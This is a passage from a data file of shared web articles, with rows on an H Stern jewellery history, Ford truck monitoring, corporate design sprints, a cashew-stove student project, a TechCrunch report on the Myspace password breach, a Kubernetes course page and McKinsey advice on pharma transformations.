Buenos Aires e Montevidéu. Na época, as famílias que tinham dinheiro para fazer turismo na região tinham por hábito viajar durante várias semanas, visitando diferentes países para fazer valer o preço da passagem. Nesse contexto, a equipe da H Stern criou um programa de retirada de brindes batizado de ""charming trip"". Ao visitar lojas na América do Sul, os turistas ganhavam um pingente com o símbolo do lugar visitado. Ao chegarem ao Rio, recebiam, na sede da empresa, o último pingente da coleção juntamente com uma pulseira para pendurá-los. Lojas Hans acreditava na necessidade de mostrar a marca (""show the flag"") para aumentar sua visibilidade. Como não havia recursos para investir em grandes campanhas publicitárias, a estratégia da empresa era abrir lojas pelo mundo e em locais por onde passavam muitos turistas internacionais. O ponto de venda era a maneira de entrar em contato com o público. E Hans não perdia tempo. Certa vez, quando estava na Colômbia, quebrou a perna e precisou ficar mais tempo no país que o planejado inicialmente. Durante esse tempo, negociou a abertura de uma loja no hotel Hilton, onde ficou hospedado. Tour guiado Outra maneira de se apresentar para os clientes era através de visitas guiadas. A empresa passou a ter tour guiados para mostrar como era feita a lapidação das pedras e fabricação das joias. Havia uma comunicação com o porto do Rio de Janeiro e com os hotéis para que os funcionários da H Stern soubessem quando um grupo grande de turistas chegava à cidade. Alguns representantes iam ao encontro desses turistas e os levavam para conhecer a joalheria. Só no final é que eles chegavam à sala com vendedores. O tour chegou a ter mais de mil turistas em um único dia. Coleções e parcerias Foi em uma loja da GAP em Nova York que Roberto Stern, filho de Hans e que ocupou o cargo de vice-presidente durante vários anos, começou a pensar na ideia de criar coleções para a joalheria. Na época, havia apenas os conjuntos de anéis, brincos e pulseiras, mas nenhum padrão que coordenasse várias peças. A primeira coleção foi colocada nas lojas em 1995. A proposta inovadora e o bom momento econômico do país contribuíram para o sucesso. Depois de alguns anos, Roberto passou a convidar personalidades como Oscar Niemeyer, Carlinhos Brown e Diane von Fürstenberg para assinar coleções. Família não é (sempre) um problema Hans Stern nunca quis dar uma aura familiar à empresa e tentou mantê-la dentro de uma gestão profissional, sem dar a impressão de que favorecia parentes. Roberto foi preparado para a sucessão gradativamente e assumiu a presidência. Outros dois filhos, Ricardo e Ronaldo, também fizeram parte da empresa na década de 1990. O primeiro ajudou a remodelar o processo industrial da empresa, baseado no sistema da Toyota. O segundo trouxe novas ideias para a área de informática. Bem intencionados e preparados para tocar as mudanças que propunham, levaram muito valor à H Stern apesar da resistência do pai. Foi, aliás, no momento em que todos os filhos se afastaram da empresa que a H Stern passou por mais dificuldades financeiras. Mude ou morra Uma empresa não completa 70 anos sem se renovar. Inicialmente, Hans mudou a maneira de fabricar joias no Brasil e se tornou uma referência internacional. Mais tarde, por volta dos anos 1970, a empresa precisou se adaptar ao fato de que a joalheria passava a atrair o público nacional e São Paulo se tornava uma praça importante. Já nos anos 1990, com Roberto na empresa, as mudanças tinham como ponto fundamental a unificação e simplificação de processos. Roberto Stern ao lado de Naomi Campbell e Diane von Furstenberg em foto de 2004 (Foto: Evan Agostini/ Getty Images)",pt
1464698397,CONTENT SHARED,4001521928622781645,1120069409160402054,4949324551047738420,,,,HTML,http://www.autossegredos.com.br/2016/05/30/ford-lanca-servico-de-monitoramento-para-caminhoes/,Ford lança serviço de monitoramento para caminhões,"A Ford lança serviço de sistema de monitoramento dos caminhões da marca. Chamado de FordTrac Segurança o que equipamento vem instalado de fábrica e deve ser ativado para entrar em operação. O serviço oferece ao usuário as opções de monitoramento, bloqueio e serviço de pronta-resposta por um custo-benefício vantajoso pela proteção que oferece. ""Este é um serviço da Ford Caminhões de grande eficiência e, na prática, nos dias atuais, representa uma garantia ao proprietário do veículo. Como exemplo, podemos citar um caso recente na empresa Rodoveiga Transportes, do Rio Grande do Sul, que em menos de 50 minutos viu ser recuperado o seu caminhão Cargo 1119 modelo 2014 roubado no dia 4 de maio"", diz Paulo Koga, da área de Programas de Serviço da Ford Caminhões. Segundo o fabricante o FordTrac Segurança foi desenvolvido a partir das necessidades dos clientes para oferecer o melhor custo-benefício do mercado em termos de tecnologia de monitoramento. Ainda de acordo com a Ford o sistema atende as exigências das companhias de seguro. ""O FordTrac é um sistema completo de telemetria e segurança, mas detectamos em pesquisas de satisfação que a maioria dos clientes prioriza as funções de segurança, como monitoramento, bloqueio e serviço de pronta-resposta. A partir daí, estudamos uma nova versão para atender essa demanda específica"", explica Paulo Koga. O dispositivo conta com bloqueio eletrônico feito diretamente pela rede de comunicação eletrônica do caminhão (Rede CAN), serviço de pronta-resposta em todo o Brasil e um aplicativo móvel, o Supervisor Mobile. Com ele, o cliente pode monitorar os veículos da frota por smartphone ou tablet, nas plataformas iOS e Android, e tem acesso às principais funcionalidades do produto. O equipamento já vem instalado nos caminhões da linha Cargo e Série F. O interessado em ativar o FordTrac Segurança pode ir a um Distribuidor Ford Caminhões e solicitar o serviço pelo prazo desejado, de um a cinco anos. Todo o processo é feito automaticamente por meio da rede de telefonia celular, sem a necessidade de intervenção no veículo. Fotos | Ford/Divulgação Tags: caminhão , caminhões , Ford , fordtrac , mercado Ford Caminhões , monitoramento , segurança , sistema de monitoramento",pt
1464708954,CONTENT SHARED,2857117417189640073,22763587941636338,8000922562339244508,,,,HTML,https://sprintstories.com/running-gv-sprints-inside-corporates-learn-from-my-mistakes-526f67c1960f?gi=e381d0ad2b1,Running GV sprints inside corporates - learn from my mistakes - Sprint Stories,"Running GV sprints inside corporates - learn from my mistakes GV (Google Ventures) has just released Sprint , a book about their design sprint process. This seems like a good time to share what I've learned from facilitating more than 30 sprints with corporates here in New Zealand. I hope my experience will help you avoid some of the pitfalls. Where I've learned what I've learned I'm a graphic, UI, UX, interaction, product designer/manager ... I really don't know what to call myself anymore. After several years as a lead designer, I worked as a UX consultant from 2012 until the end of 2015. Through this work, I quickly realized that consulting was broken. We could deliver great work that the client loved, but when we walked out the door everything went back to normal. Our ideals of lean thinking, rapid iteration and user feedback walked out with us. We started experimenting with working on-site with the client running, Lean UX and GV sprints. Finally, we started making a difference ... but there were problems... Running a sprint on an obstacle course Running the sprint process was very challenging in corporate environments - like running a sprint on an obstacle course. Many of the problems we came across are interrelated and point to issues that are common, if not universal, to 'corporates'. I also made my own mistakes and, learning from it all, I've found better ways. The issues I faced, the mistakes I made, and what I learned... 1. The war surrounding the War Room The drama that occurs when you take over a space in a corporate office for more than an hour, let alone a week, can increase to stunning levels. Faced with this loss of precious meeting-room space, I've seen other teams turn hostile, bookings sabotaged and angry people standing over a poor PA's desk, demanding to know why the room was fully booked. I've seen someone literally stomping mad, pointing at us through the glass wall and ranting furiously to the colleague beside them. (We just kept our heads down and kept drawing.) Solutions Here's some of things I did to reduce the drama: Straight to the top . I asked the CEO's PA to book the meeting room in the CEO's name. No one complained. Hide it. We removed the room from the booking system and covered up the glass wall with large foam boards. Move it. Teams have favorite meeting rooms. If you book it for a week you'll annoy them for that week. If it stretches into two, then drama is imminent. Instead, move to a different meeting room each week. Avoid the drama . Don't use a bookable meeting room. Find a space with at least one wall you can plant yourself beside. Get creative ... you're likely in a big building with all sorts of space. 2. Attendance chaos You've got a War Room, now you need a team. The Decider can make cameos, but the rest need to be available close to full-time for five days. In some companies you'll work with a passionate team who have been given permission to drop everything else. Freed of their obligations, they walk in with a clear mind and tackle the sprint with enthusiasm. But in other companies the team has only been encouraged to take part. Without that real permission, their to-do list, inbox and regular meetings are forever on their mind. Despite working on critical business problems, and even with the CEO's blessing, they will ask to pop in and out and attend other meetings, which is disruptive to both the team and the process. And then there are the ones who attend, but are forever focused on their laptop (that they refuse to give up)... Despite briefings and emphasizing this commitment, I found people likened it to a long meeting - 'Surely they don't need me the whole time?' Solutions If you want people full-time for five days straight you might have to compromise. Break it up . Instead of five days in a row, try for five days over a few weeks. Don't run a sprint for less than seven hours a day though, as if it's shorter people tend to not be entirely present as their mind is busy preparing for the rest of their day. Compress it. For one client I compressed the first three days of the sprint into two consecutive days. I then prepared the prototypes by myself and got the team together for an hour to provide feedback. After making the changes, I got the team to observe the user studies. By showing the clients how the process worked, they became more interested and invested, with the result that they actually started backfilling people so the team could truly spend five days straight on a sprint. Both of these are not ideal, but if it's the difference between running most of the process or none of it ... compromise this little bit. 3. Saboteurs in plain sight Even Daniel Burka , a design partner at GV, admits he was a little skeptical about the process when he did his first sprint - but after just one it all made sense. Each group that walks into the War Room will have a mix of people: those who understand the principles and are thrilled to be trying something different; those who are on the fence, like Daniel; and those who actually don't want to be there. It is simply counterproductive having people who don't want to be there, no matter how useful their subject-matter expertise. They will clash with you on every activity you lead the group in, because they don't want to do it. They will question the process, and will re-litigate and debate every point. Solutions 1. Ask them to opt in . Insist you meet all the attendees one-on-one in the weeks before the sprint and have a quick chat. Cover the process, the way the team works, and why the company is trying it out. Ask them to choose whether to take part or not, but also to agree to the way they'll work. Most people I've warmed up like this have entered the sprint and at least given it a go. 2. Let them be experts. Instead of booking them in for the whole week, instead get them to pop in on Monday so the team can interview them. Tease out their knowledge and then release them back into the wild. 4. Responsibility avoidance In the first sprints we ran, we didn't realize we were making a fundamental mistake: when you're responsible for facilitating a process, and coaching/training people in that process, you should not also be responsible for a deliverable. One key concept of the sprint process is to set time constraints to propel the team forward. However, negative behaviors such as re-litigation, too much talking and not following agreed principles will limit progress. This usually happens because the team members don't feel that they're actually responsible for delivering a result. They instead feel that they're there to be subject-matter experts, or simply take part. At the end of one of these early sprints, due to this slow progress the resulting prototype that was tested was not ready, and therefore the tests were not conclusive. Because I was technically responsible for delivering a result, I was then open to criticism, and so was the process. Solutions Do not agree to deliver anything. You are facilitating a process, but the team as a whole must be responsible for the outcome . There are some ways you can encourage this shared responsibility: Principles . Print off key principles that the team should agree to at the start of the sprint and stick them to the wall. Remind the team of these principles whenever they waiver. Everyone's in until the end . It's easy for prototyping to fall onto the people who can build a prototype. This often feels like a good time for others to run off and tackle their inboxes, leaving the deadline responsibility to one or two people. But instead, everyone should stay in the room. The rest of the team can work on other things if they have to, but if the prototypers ask for anything - to source images, write copy, even get coffee - the others should help them. Manage saboteurs in hiding . Some people may say all the right things and start off taking part, but later show signs that they are not compelled by the looming deadline. This often occurs when someone has felt that the agreed direction doesn't match their preference. Their behavior can become disruptive, usually through debate and re-litigation. At its worst, others join their cause and consensus is lost. As the facilitator, it's your job to remind them of the agreed principles and ask the Decider to reiterate the decisions. They then need to agree to the principles again and continue, or leave the room. 5. The corporate immune system and ambiguity The corporate immune system has been well-documented . Simply put, the 'body' of the corporate doesn't like change and the individuals responsible for it - especially if they're outsiders - and fights against it. The issues above are symptoms of this, but I found the immune system to be visible in many other ways. For example: The Decider was influenced mid-sprint by politics outside the room and wanted to re-litigate everything. We were blocked mid-sprint from talking to five customers for our user studies because a team wanted to control 'the message' the customers were hearing. A team decided the way we were working was not the [CompanyName] way. A team felt that the sprint team were making them look bad by uncovering customer problems that they were responsible for. They became very hostile. Then there is ambiguity . This is totally what you learn as you get older as a designer. I've been doing this for almost 20 years. And the older you get and the more you do this, the more you get confident that you just don't know. And then you look for a process where you can learn what's working and what's not working more quickly. That's why I like sprints so much. It takes off that weight of needing to be right. It's okay, you don't know, just admit you don't know. That's fine. - Daniel Burka Ambiguity is fine. That's what the process is for. Teams should embrace ambiguity, ask good questions, examine the problem, and ensure they're testing and learning the right things to remove ambiguity as fast as possible. Each sprint builds confidence and removes risk. However, in most corporates ambiguity is seen as weakness. These companies train people that they should always have the answer. People are even rewarded for coming up with plausible-sounding solutions quickly, even when ignoring potentially catastrophic assumptions. (Watch Claudia Batten's great short talk on Solutions Allies in high places . As one person, you can't begin to tackle an entire organization's culture. Ask the CEO (or the most senior person you have access to) to tackle these issues head on, and do your best to keep the sprint team focused on their deadlines. Show your progress . Invite teams in to see how you're working and present what has been learned so far. Results, progress, data and transparency are your best defense against the immune system. Get an internal spokesperson. If you're an outsider that has come in to do the facilitating, do not become the voice of the process and progress. Get the team members from inside the company to present to the rest - this will have more impact with the skeptics. Get out. When you try to move a project quickly inside one of these companies you'll discover these obstacles and behaviors. Changing individual human behaviors is hard, changing a group culture is insurmountable by a sprint facilitator. If the above options aren't working and the culture is too toxic to let the team deliver any results, walk away. embracing the squiggly line .) Even during show and tell at the end of the sprint, I've heard someone comment that it was 'five days wasted' as they already had the solution. At least when they're brash enough to say it out loud the team could provide evidence to defend themselves; however, in most cases this opinion is only shared away from the team. Like nothing else, ambiguity encourages the immune system to poison attempts at change. The sprint team is the key As a facilitator, you have to focus on your sprint team and can't get involved in any drama occurring outside of the room - even if there's foot-stomping and fury. It's the people you let inside the room that will make or break the process. But, because the process represents change, this can lead to uncertainty, even within the sprint team. Again, results, progress, data and transparency are your best defense. But to comfort the team from day one so you get those results, they need to be prepared. Sprint warm-ups This is the process I used to warm up the team for my last series of sprints to guarantee the best results: I interviewed several stakeholders early on and got a sense of some of the internal issues the company was struggling with. I sat down with each sprint participant and talked about a range of issues and got them to identify the ones that they had encountered. I talked them through the sprint process, going into detail in places where it combated the issues they had identified. I asked them whether they felt it was worth experimenting with the process. They always said yes. I repeated it with the group at the start of the sprint, focusing on the issues specific to that company, and how the process can help. Throughout the sprint I asked for permission to move onto each next step to avoid any tension between me as facilitator and the team. I created an atmosphere where the team corrected each other when people broke agreed principles. I focused on coaching individuals rather than the group as a whole. If someone seemed to be struggling I'd ensure I talked to them one on one. The corporate experiment As you will have gathered, I had some frustrating experiences while running sprints with corporate clients. In some cases, despite learning so much and the prototypes resulting in great customer feedback, projects were cancelled and everyone moved on. The sprint process was not designed with the corporate obstacle course in mind, and for a while I felt it could never work. However, I've come out the other side and I truly believe this process and its underlying principles are the key, even in these organizations. If I was a CEO of a company struggling to innovate or solve critical problems, I would encourage a group to run this process as soon as possible. Not to deliver a result, but to highlight all the obstacles that the leadership had become blind to. If the leaders are determined and don't hesitate, they may be able to clear the obstacles in time for the sprint team to achieve something big ... in just five days .",en
1464715747,CONTENT SHARED,2991405198675389827,5660542693104786364,-5542552326071603026,,,,HTML,http://plusacumen.org/blog/prototyping-across-borders-from-tulsa-to-brazil/,Prototyping across borders - From Tulsa to Brazil - +Acumen,"In Tulsa, Oklahoma, senior engineering students at Oral Roberts University (ORU) are busy hammering large sheets of metal together to build a giant cook stove. On the floor next to them sits a pile of cashew fruits imported from Brazil. Their challenge is to create a low-cost device that can roast the cashews safely while extracting the most amount of oil possible. If the students are successful, they just might transform the economy of an entire village in Brazil. We first heard about this unusual assignment from Kevin Schneider , a professor of International Business at ORU and a regular +Acumen course taker. Kevin took Design Kit: The Course for Human-Centered Design last spring and has since been a big proponent of human-centered design on his campus. After focusing his graduate dissertation on bottom-of-the-Pyramid (BOP) business strategies , he is now teaching his students to use multi-disciplinary approaches, such as human-centered design, to take on problems of poverty. ""That's what they want,"" he told us. ""I find that this generation of young people have a desire to not only have great careers, but they also have this desire to do something meaningful with their lives."" The project all started when Kevin's colleague, Bruno Teles, came to him with a challenge. Bruno wanted to find a way he could help improve the quality of life in Carrilho, a remote village near Aracaju on the eastern coast of Brazil. Bruno grew up in Aracaju, passing by this underresourced community often while on hikes through the surrounding country. He had witnessed the poor living conditions of the villagers and wanted to see if his business and law background could be of use in helping to improve their situation. Kevin had been training his students to build solutions that are not only human-centered but also financially sustainable. He saw this as an opportunity to take his teaching from the classroom to the real world. Kevin knew from his experience with +Acumen courses and beyond that he and the students could not assume what the right problems were to solve. They needed to start from understanding the world from the villagers' perspective. So, the professors organized a student trip to Brazil. They took an interdisciplinary team of engineering, nursing, social work, business and pre-med students. The entire trip was focused on listening to conduct an initial needs assessment. But when they arrived, no one was willing to speak with them. The lack of trust was obvious. Most of the villagers had never met a foreigner before let alone Americans. Also, they learned a few of the households participated in research studies in the past and were not eager to be interviewed again. Kevin and his students had to first build trust with the village. So, the students spent their first few days playing soccer with the local kids, while Bruno spoke with the community leaders he had met before while on his hikes. Slowly, the community warmed up to the team. ""By the end of it, people were coming up to us and asking, ""Why haven't you come by my house to ask me any questions yet?"""" Kevin recalled. Their efforts paid off. Using guidance from Grameen Foundation's Progress out of Poverty Index , the team discovered that many in the villages live on $5 or less per day. They also found the community lacked basic access to things like clean water, sanitation, and health care. But they had easy access to things like alcohol and drugs - for a community of 1,000 people, there are six bars. Among many findings, what caught their attention was the economic driver of the community - 600 people out of a total population of 1,000 made their living from processing cashews. In order to do this, villagers first transport the cashew fruits to their homes and then break off the nuts from the fruits. Then, they hunch over open fires to roast the nuts, emitting toxic carcinogens which cause respiratory health issues. Finally, they manually separate the nut from the shell which often secretes oil causing rashes akin to poison ivy. Back home in Oklahoma, the team started looking for solutions to make the cashew process safer, more comfortable, and more productive for the villagers. They started thinking about a new kind of cook stove that could extract more cashew oil while reducing emissions of carcinogens. They posed the challenge to a senior class of engineers - develop a cook stove from local materials, that's ergonomic, emits little to no smoke, and collects the most cashew oil possible all for under $100 Kevin knows well complex problems of poverty cannot be solved by one product alone. ""We should never lose sight of the end customer when designing for Bottom of Pyramid customers"" Kevin told them - advice not lost on the engineers. In fact, David, one of the students, put the cashew oil on his arm to experience what it felt like and ended up taking a trip to the doctor. Prototyping has proven to be an exciting but challenging process for the students. Aside from the cost constraint, the students must only use materials and methods that are available in Carrilho. For instance, the team cannot solder metal together, and must use traditional bolts. ""We want everything we do to be sustainable,"" said Kevin. After many iterations, the team is making progress. They now have a stove that extracts 12% of the cashew oil out of an available 15%, a dramatic increase from the initial 1-3% their first prototype yielded. They also found a way to use the shell of the nuts to fuel the stove; therefore, reducing the fuel costs. All together, they hypothesize their improvements in oil capture and fuel savings should generate an increase of 10-20% in household income for the villagers. Using a framework from +Acumen's Making Sense of Social Impact course, Kevin identified critical success factors for this project and pushed his students to not only think about the final product but also what else may need to happen in order to achieve the desired social outcomes. In addition to the cook stove, Bruno is working on negotiating fairer cashew export prices. Meanwhile, business students are strategizing a plan for a local co-op to sell their products to the formal markets in Brazil. And nursing students are building a partnership with a local university to provide ongoing health care to the community. As for the engineers? They are going back to Brazil this July to test their latest prototype with the villagers. When we asked Kevin what his ideal outcome for this project is, he said that he hopes they can find a way to empower local entrepreneurs to build a sustainable business around this new cook stove and help their fellow villagers improve their livelihood. For now, he says: ""I absolutely have the best time in the world seeing all the students learn from each other. Looking at the issue of poverty in a very tangible way is really enhancing their learning. For young people with a social motivation, this gives them an over-all perspective on life."" This story is far from over. There is still plenty of work to be done by this group. Kevin, Bruno and their students are fully aware that the journey toward real transformation takes patience, persistence, trust and a whole lot of prototypes. We'll be checking back in with Kevin and his team after they get back from Brazil. Stay tuned!",en
1464718565,CONTENT SHARED,-8449536481786923901,-1032019229384696495,-484145324341325773,,,,HTML,http://techcrunch.com/2016/05/31/recently-confirmed-myspace-hack-could-be-the-largest-yet/,Recently confirmed Myspace hack could be the largest yet,"You might not have thought of - much less visited - Myspace in years. (Yes, it's still around. Time, Inc. acquired it and other properties when it bought Viant earlier this year.) But user data never really dies, unfortunately. For Myspace's new owner, that's bad news, as the company confirmed just ahead of the Memorial Day holiday weekend in the U.S., that it has been alerted to a large set of stolen Myspace username and password combinations being made available for sale in an online hacker forum. The data is several years old, however. It appears to be limited to a portion of the overall user base from the old Myspace platform prior to June 11, 2013, at which point the site was relaunched with added security. Time, Inc. didn't confirm how many user accounts were included in this data set, but a report from LeakedSource.com says that there are over 360 million accounts involved. Each record contains an email address, a password, and in some cases, a second password. As some accounts have multiple passwords, that means there are over 427 million total passwords available for sale. Despite the fact that this data breach dates back several years, the size of the data set in question makes it notable. Security researchers at Sophos say that this could be the largest data breach of all time, easily topping the whopping 117 million LinkedIn emails and passwords that recently surfaced online from a 2012 hack. That estimation seems to hold up - while there are a number of other large-scale data breaches, even some of the biggest were not of this size. The U.S. voter database breach included 191 million records, Athem's was 80 million, eBay was 145 million, Target was 70 million, Experian 200 million, Heartland 130 million, and so on. The issue with these older data breaches is that they're from an era where security measures were not as strong as today. That means these passwords are easily cracked. LeakedSource notes that the top 50 passwords from those cracked account for over 6 million passwords - or 1.5 percent of the total, to give you a sense of scale. The passwords were stored as unsalted SHA-1 hashes, as LinkedIn's were, too. That allowed Time, Inc. to date the data breach to some extent, as the site was relaunched in June 2013 with strengthened account security, including double-salted hashes to store passwords. It also confirmed that the breach has no effect on any of its other systems, subscriber information, or other media properties, nor did the leaked data include any financial information. Myspace is notifying users and has already invalidated the passwords of known affected accounts. The company is also using automated tools to attempt to identify and block any suspicious activity that might occur on Myspace accounts, it says. ""We take the security and privacy of customer data and information extremely seriously-especially in an age when malicious hackers are increasingly sophisticated and breaches across all industries have become all too common,"" said Myspace's CFO Jeff Bairstow, in a statement. ""Our information security and privacy teams are doing everything we can to support the Myspace team."" However, while the hack itself and the resulting data set may be old, there could still be repercussions. Because so many online users simply reuse their same passwords on multiple sites, a hacker who is able to associate a given username or email with a password could crack users' current accounts on other sites. Of course, it's not likely users even remember what password they used on Myspace years ago, which makes protecting your current accounts more difficult. A better option is to always use more complicated passwords, reset them periodically, and take advantage of password management tools like Dashlane or LastPass to help you keep track of your logins. Myspace also confirmed that the hack is being attributed to the Russian cyberhacker who goes by the name ""Peace."" This is the same person responsible for the LinkedIn and Tumblr attacks, too. In Tumblr's case, some 65 million plus accounts were affected. But these passwords were ""salted,"" meaning they are harder to crack. Myspace is working with law enforcement as this case is still under investigation, the company says.",en
1464721873,CONTENT SHARED,-7152753999571084411,3609194402293569455,4752652671493723871,,,,HTML,http://trendwatching.com/trends/digital-data-dominance-in-asia/,New Asia Trend Briefing from TrendWatching | ASIAN DATA DOMINANCE,"We're living through a data bonanza. Digital innovators, startup founders, marketers and CEOs can't get enough customer data. And in Asia - the global epicenter of digital consumerism - the data is pouring in! But amid the excitement of the data onslaught - tell me who my customers are! Where they've been! Who they like! What they BUY! - it's easy to miss one simple truth. The best customer data and the most sophisticated tech won't get you anywhere unless you use it to create new products, services, campaigns that your customers love. Consumers are willing to share data and information - with the condition that brands use it to make life better for them. So the big question: how can roll out data-fueled offerings that do just that? Luckily, we have some thoughts ;)",en
1464723398,CONTENT REMOVED,-8449536481786923901,-1032019229384696495,-484145324341325773,,,,HTML,http://techcrunch.com/2016/05/31/recently-confirmed-myspace-hack-could-be-the-largest-yet/,Recently confirmed Myspace hack could be the largest yet,"You might not have thought of - much less visited - Myspace in years. (Yes, it's still around. Time, Inc. acquired it and other properties when it bought Viant earlier this year.) But user data never really dies, unfortunately. For Myspace's new owner, that's bad news, as the company confirmed just ahead of the Memorial Day holiday weekend in the U.S., that it has been alerted to a large set of stolen Myspace username and password combinations being made available for sale in an online hacker forum. The data is several years old, however. It appears to be limited to a portion of the overall user base from the old Myspace platform prior to June 11, 2013, at which point the site was relaunched with added security. Time, Inc. didn't confirm how many user accounts were included in this data set, but a report from LeakedSource.com says that there are over 360 million accounts involved. Each record contains an email address, a password, and in some cases, a second password. As some accounts have multiple passwords, that means there are over 427 million total passwords available for sale. Despite the fact that this data breach dates back several years, the size of the data set in question makes it notable. Security researchers at Sophos say that this could be the largest data breach of all time, easily topping the whopping 117 million LinkedIn emails and passwords that recently surfaced online from a 2012 hack. That estimation seems to hold up - while there are a number of other large-scale data breaches, even some of the biggest were not of this size. The U.S. voter database breach included 191 million records, Athem's was 80 million, eBay was 145 million, Target was 70 million, Experian 200 million, Heartland 130 million, and so on. The issue with these older data breaches is that they're from an era where security measures were not as strong as today. That means these passwords are easily cracked. LeakedSource notes that the top 50 passwords from those cracked account for over 6 million passwords - or 1.5 percent of the total, to give you a sense of scale. The passwords were stored as unsalted SHA-1 hashes, as LinkedIn's were, too. That allowed Time, Inc. to date the data breach to some extent, as the site was relaunched in June 2013 with strengthened account security, including double-salted hashes to store passwords. It also confirmed that the breach has no effect on any of its other systems, subscriber information, or other media properties, nor did the leaked data include any financial information. Myspace is notifying users and has already invalidated the passwords of known affected accounts. The company is also using automated tools to attempt to identify and block any suspicious activity that might occur on Myspace accounts, it says. ""We take the security and privacy of customer data and information extremely seriously-especially in an age when malicious hackers are increasingly sophisticated and breaches across all industries have become all too common,"" said Myspace's CFO Jeff Bairstow, in a statement. ""Our information security and privacy teams are doing everything we can to support the Myspace team."" However, while the hack itself and the resulting data set may be old, there could still be repercussions. Because so many online users simply reuse their same passwords on multiple sites, a hacker who is able to associate a given username or email with a password could crack users' current accounts on other sites. Of course, it's not likely users even remember what password they used on Myspace years ago, which makes protecting your current accounts more difficult. A better option is to always use more complicated passwords, reset them periodically, and take advantage of password management tools like Dashlane or LastPass to help you keep track of your logins. Myspace also confirmed that the hack is being attributed to the Russian cyberhacker who goes by the name ""Peace."" This is the same person responsible for the LinkedIn and Tumblr attacks, too. In Tumblr's case, some 65 million plus accounts were affected. But these passwords were ""salted,"" meaning they are harder to crack. Myspace is working with law enforcement as this case is still under investigation, the company says.",en
1464748241,CONTENT SHARED,8963770574956550187,-8020832670974472349,4083486701596502691,,,,HTML,https://www.udacity.com/course/scalable-microservices-with-kubernetes--ud615,Scalable Microservices with Kubernetes | Udacity,"""Scalable Microservices with Kubernetes"" is part of the upcoming DevOps Nanodegree program . If you are interested in DevOps, be sure to check out this program as well! This course is designed to teach you about managing application containers, using Kubernetes. We've built this course in partnership with experts such as Kelsey Hightower and Carter Morgan from Google and Netflix's former Cloud Architect, Adrian Cockcroft (current Technology Fellow at Battery Ventures), who provide critical learning throughout the course. Mastering highly resilient and scalable infrastructure management is very important, because the modern expectation is that your favorite sites will be up 24/7, and that they will roll out new features frequently and without disruption of the service. Achieving this requires tools that allow you to ensure speed of development, infrastructure stability and ability to scale. Students with backgrounds in Operations or Development who are interested in managing container based infrastructure with Kubernetes are recommended to enroll! In this course you will learn to: Containerize an application by creating Docker config files and build processes to produce all the necessary Docker images Configure and launch an auto-scaling, self-healing Kubernetes cluster Use Kubernetes to manage deploying, scaling, and updating your applications Employ best practices for using containers in general, and specifically Kubernetes, when architecting and developing new microservices",en
1464756640,CONTENT SHARED,-3357295447978726475,8968131284214320024,1716399213369127536,,,,HTML,http://www.mckinsey.com/industries/healthcare-systems-and-services/our-insights/change-lessons-from-pharma-and-med-tech,Change lessons from pharma and med tech,"Industry leaders emphasize the importance of four management practices in a transformation. Few industries are facing as much external change as pharmaceuticals and medical products, whether it be sustained global demand and the need for drugs and devices, accelerating cost pressures on health systems, growing complexity in emerging markets, or the disruptive effect of new technologies in therapy and care provision. Pharma and medical-device companies need to respond, yet we know many companies struggle to pull off the sort of root-and-branch transformation that would enable them to thrive in this turbulent environment. In fact, our research has shown that only one in five healthcare transformations truly succeeds, an even more dismal outcome than the one in four across industries as a whole. In recent interviews we conducted with four senior executives who have been through a transformation, all emphasized the significance of instilling purpose and meaning, as well as the crucial importance of communication. More specifically, their comments add weight to detailed findings from our research that four practices, when done well, materially increase the odds of transformation success: communicating openly, leading by example, engaging employees, and creating an environment of continuous improvement. Communicating openly When senior managers talk to employees regularly about how a transformation is going, the whole company is more likely to maintain a sense of direction-something that has declined dramatically in the healthcare industry over the past few years. Companies that lack a clear sense of direction run the risk of change fatigue and may see their transformation burn out before it can take off. ""If you're an employee, you may not know how your leaders feel, but when your chairman stands up in public to support your company's direction, it's very visible,"" said Pascal Soriot, the executive director and chief executive officer of AstraZeneca, stressing the importance of open communication as the company evolved. ""The whole leadership team communicated extensively inside the company, and a few went outside to communicate, too."" Leading by example Even the best-designed transformation program is unlikely to rally the organization behind it unless leaders behave in a way they want others to emulate. And that doesn't apply to senior executives alone. Middle managers in commercial, research and development, operations, and other areas need to be equally visible as role models: a sales manager, a lab manager, or a plant supervisor can make all the difference. Indeed, one top 15 pharma company found its frontline transformation had no impact on customer experience until it took the time to prepare district managers-through the introduction of champion academies and other skill-building efforts-to lead by example. Voices on transformation: How to sustain healthcare transformations Request the report Many CEOs understand intuitively the importance of role modeling. ""You have to get out there and deliver your message in person. Some things can't be delegated,"" said Vincent Forlenza of Becton Dickinson. ""I put a lot of energy into onboarding new people and supporting them when they are trying to change a region, say, or rethink our innovation process."" Engaging employees Most leaders recognize that employee engagement is central to the success of a transformation-and to business performance in general. ""To mobilize everybody, we had to work on involvement, engagement, and communication,"" said Jane Griffiths, group chairman of Janssen in Europe, the Middle East, and Africa. ""After five minutes, I would have thought, 'Well, everybody must get this now, let's move on,' but clearly that's not how it works. If anyone asked me for advice, I would say, 'Don't overestimate how much people take on board. In fact, underestimate it so that you go over the top a bit more.'"" Maintaining a constant stream of communication about a company's programs and vision is critical. Fostering continuous improvement A transformation is not an end in itself. To sustain the momentum of change, especially in today's volatile environment, companies need to plan for continuous improvement. In practical terms, that requires a culture of scrutinizing daily work and finding ways to do it better. Explaining what that means for his business, André Wyss, president of Novartis Business Services, said: ""We continuously have to examine the technology, tools, and services we offer in order to find ways of making them even faster, more flexible, more consistent, and more cost efficient."" Change fatigue has become a reality for many companies in the sector, with changes in the stakeholder landscape, pipeline renewal, a wave of mergers and acquisitions, and other restructuring efforts. But we believe further transformations are required, and companies must learn to apply these four simple practices at scale. Our interviews provide inspiration and, more generally, suggest how other leaders can turn adversity to advantage and shape their organizations for an uncertain future. For more, request a copy of the full report on which this article is based, Voices on transformation: How to sustain healthcare transformations. About the author(s) Gayane Gyurjyan is an associate principal in McKinsey's London office, where Shail Thaker is a partner; Carla Zwaanstra is a specialist in the Amsterdam office.",en
